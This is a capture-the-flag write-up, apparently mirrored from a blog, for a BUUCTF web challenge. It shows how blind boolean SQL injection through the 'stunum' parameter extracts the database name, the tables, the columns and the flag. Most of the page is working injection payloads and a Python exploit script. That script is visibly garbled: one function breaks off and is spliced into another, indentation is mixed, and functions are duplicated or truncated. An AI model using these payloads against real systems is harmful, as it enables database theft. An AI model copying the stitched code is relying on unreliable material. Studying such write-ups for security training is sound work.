zoukankan      html  css  js  c++  java
  • BUUCTF-[WUSTCTF2020]颜值成绩查询

    Analyze


    Entering different numbers will return different scores.Suspected of SQL injection.

    Judging by fuzzing that no special strings are filtered (except space).

    Use dichotomy SQL injection.

    payload like this:
    ?stunum=if((ascii(substr((select(database())),%d,1))>%d),1,0)"%(i,mid)
    ?stunum=if((ascii(substr((select(group_concat(table_name)from(information_schema.tables)where(table_schema=database_name))),%d,1))>%d),1,0)"%(i,mid)

    exp:

    It is worth mentioning that the flag is not in the 'flag' field but in the 'score' field.

    import requests
    
    url = "http://9947f438-fcd6-4b23-8a85-8ed0a71cf5c4.node3.buuoj.cn/"
    
    #ctf
    def database(url):
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(database())),%d,1))>%d),1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    
    		if mid == 32:
    			break
    
    		name = name + chr(mid)
    		print "[*]" + name
    
    #flag,score
    def table(url):
    	# select group_concat(table_name) from ...
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1)))>%d,1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    		if mid == 32:
            low = 32
            high = 128
            mid = (low + high) / 2
            while low < high:
                payload = url + "?stunum=if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1)))>%d,1,0)"%(i,mid)
                r = requests.get(payload)
                if "admin" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) / 2
            if mid == 32:
                break
            name = name + chr(mid)
            print "[*]" + name
    
    #flag value
    def column(url):
        name = ''
        for i in range(1,10000):
            low = 32
            high = 128
            mid = (low + high) / 2
            while low < high:
                payload = url + "?stunum=if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1)))>%d,1,0)"%(i,mid)
                r = requests.get(payload)
                if "admin" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) / 2
            if mid == 32:
                break
            name = name + chr(mid)
            print "[*]" + name
    
    def flag(url):
        name = ''
        for i in range(1,10000):
            low = 32
            high = 128
            mid = (low + high) / 2
            while low < high:
                payload = url + "?stunum=if((ascii(substr((select(group_concat(value))from(ctf.flag)),%d,1)))>%d,1,0)"%(i,mid)
                r = requests.get(payload)
                if "admin" in r.text:
                    low = mid + 1
                else:
                    high = mid
    			break
    		name = name + chr(mid)
    		print "[*]" + name
    
    #flag value
    def column(url):
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1)))>%d,1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    		if mid == 32:
    			break
    		name = name + chr(mid)
    		print "[*]" + name
    
    def flag(url):
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(group_concat(value))from(ctf.flag)),%d,1)))>%d,1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    		if mid == 32:
    			break
    		name = name + chr(mid)
    		print "[*]" + name
    
    flag(url)
    
  • 相关阅读:
    【Android Developers Training】 51. 序言:打印内容
    小米手机开发遇到的问题
    Linux进程的实际用户ID和有效用户ID
    Linux core 文件介绍
    Linux下内存的几个基本概念
    mingw libgcc_s_sjlj-1.dll is missing
    C语言函数申明关键字inline
    关于编译错误--提领指向不完全类型的指针
    linux下创建用户[转]
    Linux查看CPU和内存使用情况[转]
  • 原文地址:https://www.cnblogs.com/lemon629/p/14403330.html
Copyright © 2011-2022 走看看